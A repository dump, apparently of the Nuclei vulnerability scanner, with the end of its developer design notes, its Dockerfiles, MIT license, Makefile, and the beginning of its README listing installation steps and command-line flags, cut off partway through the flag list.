template\nfunc (template *Template) compileProtocolRequests(options protocols.ExecuterOptions) error {\n\t...\n\n\tcase len(template.RequestsWebsocket) > 0:\n\t\trequests = template.convertRequestToProtocolsRequest(template.RequestsWebsocket)\n\t}\n\ttemplate.Executer = executer.NewExecuter(requests, &options)\n\treturn nil\n}\n```\n\nThat's it, you've added a new protocol to Nuclei. The next good step would be to write integration tests which are described in `integration-tests` and `cmd/integration-tests` directories.\n\n\n## Profiling and Tracing\n\nTo analyze Nuclei's performance and resource usage, you can generate CPU & memory profiles and trace files using the `-profile-mem` flag:\n\n```bash\nnuclei -t nuclei-templates/ -u https://example.com -profile-mem=nuclei-$(git describe --tags)\n```\n\nThis command creates three files:\n\n* `nuclei.cpu`: CPU profile\n* `nuclei.mem`: Memory (heap) profile\n* `nuclei.trace`: Execution trace\n\n### Analyzing the CPU/Memory Profiles\n\n* View the profile in the terminal:\n\n```bash\ngo tool pprof nuclei.{cpu,mem}\n```\n\n* Display overall CPU time for processing $$N$$ targets:\n\n```\ngo tool pprof -top nuclei.cpu | grep \"Total samples\"\n```\n\n* Display top memory consumers:\n\n```bash\ngo tool pprof -top nuclei.mem | grep \"$(go list -m)\" | head -10\n```\n\n* Visualize the profile in a web browser:\n\n```bash\ngo tool pprof -http=:$(shuf -i 1000-99999 -n 1) nuclei.{cpu,mem}\n```\n\n### Analyzing the Trace File\n\nTo examine the execution trace:\n\n```bash\ngo tool trace nuclei.trace\n```\n\nThese tools help identify performance bottlenecks and memory leaks, allowing for targeted optimizations of Nuclei's codebase.\n\n## Project Structure\n\n- [pkg/reporting](./pkg/reporting) - Reporting modules for nuclei.\n- [pkg/reporting/exporters/sarif](./pkg/reporting/exporters/sarif) - Sarif Result Exporter\n- [pkg/reporting/exporters/markdown](./pkg/reporting/exporters/markdown) - Markdown Result Exporter\n- [pkg/reporting/exporters/es](./pkg/reporting/exporters/es) - Elasticsearch Result Exporter\n- [pkg/reporting/dedupe](./pkg/reporting/dedupe) - Dedupe module for Results\n- [pkg/reporting/trackers/gitlab](./pkg/reporting/trackers/gitlab) - GitLab Issue Tracker Exporter\n- [pkg/reporting/trackers/jira](./pkg/reporting/trackers/jira) - Jira Issue Tracker Exporter\n- [pkg/reporting/trackers/github](./pkg/reporting/trackers/github) - GitHub Issue Tracker Exporter\n- [pkg/reporting/format](./pkg/reporting/format) - Result Formatting Functions\n- [pkg/parsers](./pkg/parsers) - Implements template as well as workflow loader for initial template discovery, validation and - loading.\n- [pkg/types](./pkg/types) - Contains CLI options as well as misc helper functions.\n- [pkg/progress](./pkg/progress) - Progress tracking\n- [pkg/operators](./pkg/operators) - Operators for Nuclei\n- [pkg/operators/common/dsl](./pkg/operators/common/dsl) - DSL functions for Nuclei YAML Syntax\n- [pkg/operators/matchers](./pkg/operators/matchers) - Matchers implementation\n- [pkg/operators/extractors](./pkg/operators/extractors) - Extractors implementation\n- [pkg/catalog](./pkg/catalog) - Template loading from disk helpers\n- [pkg/catalog/config](./pkg/catalog/config) - Internal configuration management\n- [pkg/catalog/loader](./pkg/catalog/loader) - Implements loading and validation of templates and workflows.\n- [pkg/catalog/loader/filter](./pkg/catalog/loader/filter) - Filter filters templates based on tags and paths\n- [pkg/output](./pkg/output) - Output module for nuclei\n- [pkg/workflows](./pkg/workflows) - Workflow execution logic + declarations\n- [pkg/utils](./pkg/utils) - Utility functions\n- [pkg/model](./pkg/model) - Template Info + misc\n- [pkg/templates](./pkg/templates) - Templates core starting point\n- [pkg/templates/cache](./pkg/templates/cache) - Templates cache\n- [pkg/protocols](./pkg/protocols) - Protocol Specification\n- [pkg/protocols/file](./pkg/protocols/file) - File protocol\n- [pkg/protocols/network](./pkg/protocols/network) - Network protocol\n- [pkg/protocols/common/expressions](./pkg/protocols/common/expressions) - Expression evaluation + Templating Support\n- [pkg/protocols/common/interactsh](./pkg/protocols/common/interactsh) - Interactsh integration\n- [pkg/protocols/common/generators](./pkg/protocols/common/generators) - Payload support for Requests (Sniper, etc.)\n- [pkg/protocols/common/executer](./pkg/protocols/common/executer) - Default Template Executer\n- [pkg/protocols/common/replacer](./pkg/protocols/common/replacer) - Template replacement helpers\n- [pkg/protocols/common/helpers/eventcreator](./pkg/protocols/common/helpers/eventcreator) - Result event creator\n- [pkg/protocols/common/helpers/responsehighlighter](./pkg/protocols/common/helpers/responsehighlighter) - Debug response highlighter\n- [pkg/protocols/common/helpers/deserialization](./pkg/protocols/common/helpers/deserialization) - Deserialization helper functions\n- [pkg/protocols/common/hosterrorscache](./pkg/protocols/common/hosterrorscache) - Host errors cache for tracking erroring hosts\n- [pkg/protocols/offlinehttp](./pkg/protocols/offlinehttp) - Offline http protocol\n- [pkg/protocols/http](./pkg/protocols/http) - HTTP protocol\n- [pkg/protocols/http/race](./pkg/protocols/http/race) - HTTP Race Module\n- [pkg/protocols/http/raw](./pkg/protocols/http/raw) - HTTP Raw Request Support\n- [pkg/protocols/headless](./pkg/protocols/headless) - Headless Module\n- [pkg/protocols/headless/engine](./pkg/protocols/headless/engine) - Internal Headless implementation\n- [pkg/protocols/dns](./pkg/protocols/dns) - DNS protocol\n- [pkg/projectfile](./pkg/projectfile) - Project File Implementation\n\n### Notes\n\n1. The matching as well as interim output functionality is a bit complex, we should simplify it a bit as well.\n"
  },
  {
    "path": "Dockerfile",
    "content": "# Build\nFROM golang:1.24-alpine AS builder\n\nRUN apk add build-base\nWORKDIR /app\nCOPY . /app\nRUN make verify\nRUN make build\n\n# Release\nFROM alpine:latest\n\nRUN apk add --no-cache bind-tools chromium ca-certificates\nCOPY --from=builder /app/bin/nuclei /usr/local/bin/\n\nENTRYPOINT [\"nuclei\"]\n"
  },
  {
    "path": "Dockerfile.goreleaser",
    "content": "FROM alpine:latest\n\nLABEL org.opencontainers.image.authors=\"ProjectDiscovery\"\nLABEL org.opencontainers.image.description=\"Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.\"\nLABEL org.opencontainers.image.licenses=\"MIT\"\nLABEL org.opencontainers.image.title=\"nuclei\"\nLABEL org.opencontainers.image.url=\"https://github.com/projectdiscovery/nuclei\"\n\nRUN apk add --no-cache bind-tools chromium ca-certificates\nCOPY nuclei /usr/local/bin/\n\nENTRYPOINT [\"nuclei\"]"
  },
  {
    "path": "LICENSE.md",
    "content": "MIT License\n\nCopyright (c) 2025 ProjectDiscovery, Inc.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": "# Go parameters\nGOCMD := go\nGOBUILD := $(GOCMD) build\nGOBUILD_OUTPUT := \nGOBUILD_PACKAGES := \nGOBUILD_ADDITIONAL_ARGS := \nGOMOD := $(GOCMD) mod\nGOTEST := $(GOCMD) test\nGOFLAGS := -v\n# This should be disabled if the binary uses pprof\nLDFLAGS := -s -w\n\nifneq ($(shell go env GOOS),darwin)\n\tLDFLAGS += -extldflags \"-static\"\nendif\n    \n.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs\n.PHONY: devtools-tsgen docs docgen dsl-docs functional fuzzplayground go-build lint lint-strict syntax-docs\n.PHONY: integration jsupdate-all jsupdate-bindgen jsupdate-tsgen memogen scan-charts test test-with-lint\n.PHONY: tidy ts verify download vet template-validate\n\nall: build\n\nclean:\n\trm -f '${GOBUILD_OUTPUT}' 2>/dev/null\n\ngo-build: clean\ngo-build:\n\tCGO_ENABLED=0 $(GOBUILD) -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \\\n\t\t -o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES)\n\nbuild: GOFLAGS = -v -pgo=auto\nbuild: GOBUILD_OUTPUT = ./bin/nuclei\nbuild: GOBUILD_PACKAGES = cmd/nuclei/main.go\nbuild: go-build\n\nbuild-test: GOFLAGS = -v -pgo=auto\nbuild-test: GOBUILD_OUTPUT = ./bin/nuclei.test\nbuild-test: GOBUILD_PACKAGES = ./cmd/nuclei/\nbuild-test: clean\nbuild-test:\n\tCGO_ENABLED=0 $(GOCMD) test -c -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \\\n\t\t -o '${GOBUILD_OUTPUT}' ${GOBUILD_PACKAGES}\n\nbuild-stats: GOBUILD_OUTPUT = ./bin/nuclei-stats\nbuild-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go\nbuild-stats: GOBUILD_ADDITIONAL_ARGS = -tags=stats\nbuild-stats: go-build\n\nscan-charts: GOBUILD_OUTPUT = ./bin/scan-charts\nscan-charts: GOBUILD_PACKAGES = cmd/scan-charts/main.go\nscan-charts: go-build\n\ntemplate-signer: GOBUILD_OUTPUT = ./bin/template-signer\ntemplate-signer: GOBUILD_PACKAGES = cmd/tools/signer/main.go\ntemplate-signer: go-build\n\ndocgen: GOBUILD_OUTPUT = ./bin/docgen\ndocgen: GOBUILD_PACKAGES = cmd/docgen/docgen.go\ndocgen: bin = dstdocgen\ndocgen:\n\t@if ! which $(bin) >/dev/null; then \\\n\t\techo \"Command $(bin) not found! Installing...\"; \\\n\t\tgo install -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/$(bin)@latest; \\\n\tfi\n\t# TODO: FIX THIS PANIC\n\t$(GOCMD) generate pkg/templates/templates.go\n\t$(GOBUILD) -o \"${GOBUILD_OUTPUT}\" $(GOBUILD_PACKAGES)\n\ndocs: docgen\ndocs:\n\t./bin/docgen docs.md nuclei-jsonschema.json\n\nsyntax-docs: docgen\nsyntax-docs:\n\t./bin/docgen SYNTAX-REFERENCE.md nuclei-jsonschema.json\n\ntest: GOFLAGS = -race -v -timeout 30m -count 1\ntest:\n\t$(GOTEST) $(GOFLAGS) ./...\n\nintegration:\n\tcd integration_tests; bash run.sh\n\nfunctional:\n\tcd cmd/functional-test; bash run.sh\n\ntidy:\n\t$(GOMOD) tidy\n\ndownload:\n\t$(GOMOD) download\n\nverify: download\n\t$(GOMOD) verify\n\nvet: verify\n\t$(GOCMD) vet ./...\n\ndevtools-bindgen: GOBUILD_OUTPUT = ./bin/bindgen\ndevtools-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go\ndevtools-bindgen: go-build\n\ndevtools-tsgen: GOBUILD_OUTPUT = ./bin/tsgen\ndevtools-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go\ndevtools-tsgen: go-build\n\ndevtools-scrapefuncs: GOBUILD_OUTPUT = ./bin/scrapefuncs\ndevtools-scrapefuncs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go\ndevtools-scrapefuncs: go-build\n\ndevtools-all: devtools-bindgen devtools-tsgen devtools-scrapefuncs\n\njsupdate-bindgen: GOBUILD_OUTPUT = ./bin/bindgen\njsupdate-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go\njsupdate-bindgen: go-build\njsupdate-bindgen:\n\t./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated\n\njsupdate-tsgen: GOBUILD_OUTPUT = ./bin/tsgen\njsupdate-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go\njsupdate-tsgen: go-build\njsupdate-tsgen:\n\t./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated/ts\n\njsupdate-all: jsupdate-bindgen jsupdate-tsgen\n\nts: jsupdate-tsgen\n\nfuzzplayground: GOBUILD_OUTPUT = ./bin/fuzzplayground\nfuzzplayground: GOBUILD_PACKAGES = cmd/tools/fuzzplayground/main.go\nfuzzplayground: LDFLAGS = -s -w\nfuzzplayground: go-build\n\nmemogen: GOBUILD_OUTPUT = ./bin/memogen\nmemogen: GOBUILD_PACKAGES = cmd/memogen/memogen.go\nmemogen: go-build\nmemogen:\n\t./$(GOBUILD_OUTPUT) -src pkg/js/libs -tpl cmd/memogen/function.tpl\n\ndsl-docs: GOBUILD_OUTPUT = ./bin/scrapefuncs\ndsl-docs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go\ndsl-docs:\n\t./$(GOBUILD_OUTPUT) -out dsl.md\n\ntemplate-validate: build\ntemplate-validate:\n\t./bin/nuclei -ut\n\t./bin/nuclei -validate \\\n\t\t-et http/technologies \\\n\t\t-t dns \\\n\t\t-t ssl \\\n\t\t-t network \\\n\t\t-t http/exposures \\\n\t\t-ept code\n\t./bin/nuclei -validate \\\n\t\t-w workflows \\\n\t\t-et http/technologies \\\n\t\t-ept code"
  },
  {
    "path": "README.md",
    "content": "![nuclei](/static/nuclei-cover-image.png)\n\n<div align=\"center\">\n  \n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">`English`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">`中文`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">`Korean`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">`Indonesia`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">`Spanish`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md\">`日本語`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">`Portuguese`</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md\">`Türkçe`</a>\n  \n</div>\n\n<p align=\"center\">\n\n<a href=\"https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\"><img src=\"https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white\"></a>\n&nbsp;&nbsp;\n<a href=\"https://github.com/projectdiscovery/nuclei-templates\"><img src=\"https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white\"></a>\n&nbsp;&nbsp;\n<a href=\"https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\"><img src=\"https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white\"></a>\n\n<hr>\n\n</p>\n\n<br>\n\n**Nuclei is a modern, high-performance vulnerability scanner that leverages simple YAML-based templates. It empowers you to design custom vulnerability detection scenarios that mimic real-world conditions, leading to zero false positives.**\n\n- Simple YAML format for creating and customizing vulnerability templates.\n- Contributed by thousands of security professionals to tackle trending vulnerabilities.\n- Reduce false positives by simulating real-world steps to verify a vulnerability.\n- Ultra-fast parallel scan processing and request clustering.\n- Integrate into CI/CD pipelines for vulnerability detection and regression testing.\n- Supports multiple protocols like TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code and more.\n- Integrate with Jira, Splunk, GitHub, Elastic, GitLab.\n\n<br>\n<br>\n\n## Table of Contents\n\n- [**`Get Started`**](#get-started)\n  - [_`1. Nuclei CLI`_](#1-nuclei-cli)\n  - [_`2. Pro and Enterprise Editions`_](#2-pro-and-enterprise-editions)\n- [**`Documentation`**](#documentation)\n  - [_`Command Line Flags`_](#command-line-flags)\n  - [_`Single target scan`_](#single-target-scan)\n  - [_`Scanning multiple targets`_](#scanning-multiple-targets)\n  - [_`Network scan`_](#network-scan)\n  - [_`Scanning with your custom template`_](#scanning-with-your-custom-template)\n  - [_`Connect Nuclei to ProjectDiscovery_`_](#connect-nuclei-to-projectdiscovery)\n- [**`Nuclei Templates, Community and Rewards`**](#nuclei-templates-community-and-rewards-) 💎\n- [**`Our Mission`**](#our-mission)\n- [**`Contributors`**](#contributors-heart) ❤\n- [**`License`**](#license)\n\n<br>\n<br>\n\n## Get Started\n\n### **1. Nuclei CLI**\n\n_Install Nuclei on your machine. Get started by following the installation guide [**`here`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Additionally, We provide [**`a free cloud tier`**](https://cloud.projectdiscovery.io/sign-up) and comes with a generous monthly free limits:_\n\n- Store and visualize your vulnerability findings\n- Write and manage your nuclei templates\n- Access latest nuclei templates\n- Discover and store your targets\n\n> [!Important]\n> |**This project is in active development**. Expect breaking changes with releases. Review the release changelog before updating.|\n> |:--------------------------------|\n> | This project is primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. |\n\n<br>\n\n### **2. Pro and Enterprise Editions**\n\n_For security teams and enterprises, we provide a cloud-hosted service built on top of Nuclei OSS, fine-tuned to help you continuously run vulnerability scans at scale with your team and existing workflows:_\n\n- 50x faster scans\n- Large scale scanning with high accuracy\n- Integrations with cloud services (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)\n- Jira, Slack, Linear, APIs and Webhooks\n- Executive and compliance reporting\n- Plus: Real-time scanning, SAML SSO, SOC 2 compliant platform (with EU and US hosting options), shared team workspaces, and more\n- We're constantly [**`adding new features`**](https://feedback.projectdiscovery.io/changelog)!\n- **Ideal for:** Pentesters, security teams, and enterprises\n\n[**`Sign up to Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) or [**`Talk to our team`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) if you have large organization and complex requirements.\n\n<br>\n<br>\n\n## Documentation\n\nBrowse the full Nuclei [**`documentation here`**](https://docs.projectdiscovery.io/tools/nuclei/running). If you’re new to Nuclei, check out our [**`foundational YouTube series`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl).\n\n<div align=\"center\">\n\n<a href=\"https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\" target=\"_blank\"><img src=\"/static/nuclei-getting-started.png\" width=\"350px\"></a> <a href=\"https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme\" target=\"_blank\"><img src=\"/static/nuclei-write-your-first-template.png\" width=\"350px\"></a>\n\n</div>\n\n<br>\n\n### Installation\n\n`nuclei` requires **go >= 1.24.2** to install successfully. Run the following command to get the repo:\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\nTo learn more about installing nuclei, see `https://docs.projectdiscovery.io/tools/nuclei/install`.\n\n### Command Line Flags\n\nTo display all the flags for the tool:\n\n```sh\nnuclei -h\n```\n\n<details>\n  <summary>Expand full help flags</summary>\n\n```yaml\nNuclei is a fast, template based vulnerability scanner focusing\non extensive configurability, massive extensibility and ease of use.\n\nUsage:\n  ./nuclei [flags]\n\nFlags:\nTARGET:\n   -u, -target string[]          target URLs/hosts to scan\n   -l, -list string              path to file containing a list of target URLs/hosts to scan (one per line)\n   -eh, -exclude-hosts string[]  hosts to exclude to scan from the input list (ip, cidr, hostname)\n   -resume string                resume scan from and save to specified file (clustering will be disabled)\n   -sa, -scan-all-ips            scan all the IP's associated with dns record\n   -iv, -ip-version string[]     IP version to scan of hostname (4,6) - (default 4)\n\nTARGET-FORMAT:\n   -im, -input-mode string        mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default \"list\")\n   -ro, -required-only            use only required fields in input format when generating requests\n   -sfv, -skip-format-validation  skip format validation (like missing vars) when parsing input file\n\nTEMPLATES:\n   -nt, -new-templates                    run only new templates added in latest nuclei-templates release\n   -ntv, -new-templates-version string[]  run new templates added in specific version\n   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping\n   -t, -templates string[]                list of template or template directory to run (comma-separated, file)\n   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)\n   -ai, -prompt string                    generate and run template using ai prompt\n   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)\n   -wurl, -workflow-url string[]          workflow url or list containing workflow urls to run (comma-separated, file)\n   -validate                              validate the passed templates to nuclei\n   -nss, -no-strict-syntax                disable strict syntax check on templates\n   -td, -template-display                 displays the templates content\n   -tl                                    list all templates matching current filters\n   -tgl                                   list all available tags\n   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable\n   -code                                  enable loading code protocol-based templates\n   -dut, -disable-unsigned-templates      disable running unsigned templates or templates with mismatched signature\n   -esc, -enable-self-contained           enable loading self-contained templates\n   -egm, -enable-global-matchers          enable loading global matchers templates\n   -file                                  enable loading file templates\n\nFILTERING:\n   -a, -author string[]               templates to run based on authors (comma-separated, file)\n   -tags string[]                     templates to run based on tags (comma-separated, file)\n   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)\n   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration\n   -id, -template-id string[]         templates to run based on template ids (comma-separated, file, allow-wildcard)\n   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)\n   -it, -include-templates string[]   path to template file or directory to be executed even if they are excluded either by default or configuration\n   -et, -exclude-templates string[]   path to template file or directory to exclude (comma-separated, file)\n   -em, -exclude-matchers string[]    template matchers to exclude in result\n   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown\n   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown\n   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  templates to run based on expression condition\n\nOUTPUT:\n   -o, -output string            output file to write found issues/vulnerabilities\n   -sresp, -store-resp           store all request/response passed through nuclei to output directory\n   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default \"output\")\n   -silent                       display findings only\n   -nc, -no-color                disable output content coloring (ANSI escape codes)\n   -j, -jsonl                    write output in JSONL(ines) format\n   -irr, -include-rr -omit-raw   include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)\n   -or, -omit-raw                omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)\n   -ot, -omit-template           omit encoded template in the JSON, JSONL output\n   -nm, -no-meta                 disable printing result metadata in cli output\n   -ts, -timestamp               enables printing timestamp in cli output\n   -rdb, -report-db string       nuclei reporting database (always use this to persist report data)\n   -ms, -matcher-status          display match failure status\n   -me, -markdown-export string  directory to export results in markdown format\n   -se, -sarif-export string     file to export results in SARIF format\n   -je, -json-export string      file to export results in JSON format\n   -jle, -jsonl-export string    file to export results in JSONL(ine) format\n   -rd, -redact string[]         redact given list of keys from query parameter, request header and body\n\nCONFIGURATIONS:\n   -config string                        path to the nuclei configuration file\n   -tp, -profile string                  template profile config file to run\n   -tpl, -profile-list                   list community template profiles\n   -fr, -follow-redirects                enable following redirects for http templates\n   -fhr, -follow-host-redirects          follow redirects on the same host\n   -mr, -max-redirects int               max number of redirects to follow for http templates (default 10)\n   -dr, -disable-redirects               disable redirects for http templates\n   -rc, -report-config string            nuclei reporting module configuration file\n   -H, -header string[]                  custom header/cookie to include in all http request in header:value format (cli, file)\n   -V, -var value                        custom vars in key=value format\n   -r, -resolvers string                 file containing resolver list for nuclei\n   -sr, -system-resolvers                use system DNS resolving as error fallback\n   -dc, -disable-clustering              disable clustering of requests\n   -passive                              enable passive HTTP response processing mode\n   -fh2, -force-http2                    force http2 connection on requests\n   -ev, -env-vars                        enable environment variables to be used in template\n   -cc, -client-cert string              client certificate file (PEM-encoded) used for authenticating against scanned hosts\n   -ck, -client-key string               client key file (PEM-encoded) used for authenticating against scanned hosts\n   -ca, -client-ca string                client certificate authority file (PEM-encoded) used for authenticating against scanned hosts\n   -sml, -show-match-line                show match lines for file templates, works with extractors only\n   -ztls                                 use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default\n   -sni string                           tls sni hostname to use (default: input domain name)\n   -dka, -dialer-keep-alive value        keep-alive duration for network requests.\n   -lfa, -allow-local-file-access        allows file (payload) access anywhere on the system\n   -lna, -restrict-local-network-access  blocks connections to the local / private network\n   -i, -interface string                 network interface to use for network scan\n   -at, -attack-type string              type of payload combinations to perform (batteringram,pitchfork,clusterbomb)\n   -sip, -source-ip string               source ip address to use for network scan\n   -rsr, -response-size-read int         max response size to read in bytes\n   -rss, -response-size-save int         max response size to read in bytes (default 1048576)\n   -reset                                reset removes all nuclei configuration and data files (including nuclei-templates)\n   -tlsi, -tls-impersonate               enable experimental client hello (ja3) tls randomization\n   -hae, -http-api-endpoint string       experimental http api endpoint\n\nINTERACTSH:\n   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)\n   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server\n   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)\n   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)\n   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)\n   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)\n   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates\n\nFUZZING:\n   -ft, -fuzzing-type string           overrides fuzzing type set in template (replace, prefix, postfix, infix)\n   -fm, -fuzzing-mode string           overrides fuzzing mode set in template (multiple, single)\n   -fuzz                               enable loading fuzzing templates (Deprecated: use -dast instead)\n   -dast                               enable / run dast (fuzz) nuclei templates\n   -dts, -dast-server                  enable dast server mode (live fuzzing)\n   -dtr, -dast-report                  write dast scan report to file\n   -dtst, -dast-server-token string    dast server token (optional)\n   -dtsa, -dast-server-address string  dast server address (default \"localhost:9055\")\n   -dfp, -display-fuzz-points          display fuzz points in the output for debugging\n   -fuzz-param-frequency int           frequency of uninteresting parameters for fuzzing before skipping (default 10)\n   -fa, -fuzz-aggression string        fuzzing aggression level controls payload count for fuzz (low, medium, high) (default \"low\")\n   -cs, -fuzz-scope string[]           in scope url regex to be followed by fuzzer\n   -cos, -fuzz-out-scope string[]      out of scope url regex to be excluded by fuzzer\n\nUNCOVER:\n   -uc, -uncover                  enable uncover engine\n   -uq, -uncover-query string[]   uncover search query\n   -ue, -uncover-engine string[]  uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)\n   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default \"ip:port\")\n   -ul, -uncover-limit int        uncover results to return (default 100)\n   -ur, -uncover-ratelimit int    override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 